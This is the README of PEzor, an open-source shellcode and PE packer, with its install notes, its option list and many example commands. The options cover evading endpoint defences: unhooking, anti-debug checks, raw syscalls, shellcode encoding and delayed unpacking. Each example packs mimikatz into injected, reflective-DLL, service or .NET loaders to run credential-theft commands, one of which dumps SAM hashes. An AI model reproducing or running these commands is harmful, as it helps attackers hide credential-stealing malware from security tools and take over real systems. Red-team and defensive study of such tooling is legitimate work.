PEzor - Open-Source Shellcode And PE Packer

Read the blog posts here:

https://iwantmore.pizza/posts/PEzor.html https://iwantmore.pizza/posts/PEzor2.html https://iwantmore.pizza/posts/PEzor3.html https://iwantmore.pizza/posts/PEzor4.html

Installation

The install.sh is designed to work on a Kali Linux distro.

Upgrading from v2.x.x

The PATH variable has to be updated to use a specific commit of Donut! Check the updated install.sh script.

Usage

PEzor -h PEzor <EXECUTABLE> [donut args...] PEzor <SHELLCODE>

PEzor help

display help for PEzor

PEzor <EXECUTABLE>

USAGE $ PEzor [options...] <EXECUTABLE> [donut args...] # PEzor [options...] <EXECUTABLE> [donut args...] OPTIONS -h Show usage and exits -32 Force 32-bit executable -64 Force 64-bit executable -debug Generate a debug build -unhook User-land hooks removal -antidebug Add anti-debug checks -syscalls Use raw syscalls [64-bit only] [Windows 10 only] -sgn Encode the generated shellcode with sgn -text Store shellcode in .text section instead of .data -rx Allocate RX memory for shellcode -self Execute the shellcode in the same thread -sdk=VERSION Use specified .NET Framework version (2, 4, 4.5 (default)) -sleep=N Sleeps for N seconds before unpacking the shellcode -format=FORMAT Outputs result in specified FORMAT (exe, dll, reflective-dll, service-exe, service-dll, dotnet, dotnet-createsection, dotnet-pinvoke) [donut args...] After the executable to pack, you can pass additional Donut args, such as -z 2 EXAMPLES # 64-bit (self-inject RWX) $ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 64-bit (self-inject RX) $ PEzor.sh -unhook -antidebug -text -self -rx -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 64-bit (raw syscalls) $ PEzor.sh -sgn -unhook -antidebug -text -syscalls -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 64-bit (beacon object file) $ PEzor.sh -format=bof mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 64-bit (beacon object file w/ cleanup) $ PEzor.sh -format=bof -cleanup mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 64-bit (reflective dll) $ PEzor.sh -format=reflective-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 64-bit (service exe) $ PEzor.sh -format=service-exe mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 64-bit (service dll) $ PEzor.sh -format=service-dll mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 64-bit (dotnet) $ PEzor.sh -format=dotnet -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 64-bit (dotnet-pinvoke) $ PEzor.sh -format=dotnet-pinvoke -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 64-bit (dotnet-createsection) $ PEzor.sh -format=dotnet-createsection -sleep=120 mimikatz/x64/mimikatz.exe -z 2 -p '"log c:\users\public\mimi.out" "token::whoami" "exit"' # 32-bit (self-inject) $ PEzor.sh -unhook -antidebug -text -self -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 # 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread) $ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 # 32-bit (Win32 API: VirtualAlloc/WriteMemoryProcess/CreateRemoteThread) and arguments for donut $ PEzor.sh -sgn -unhook -antidebug -text -sleep=120 mimikatz/Win32/mimikatz.exe -z 2 "-plsadump::sam /system:SystemBkup.hiv /sam:SamBkup.hiv"

PEzor <SHELLCODE>

Pack the provided shellcode into an executable

See code: PEzor.sh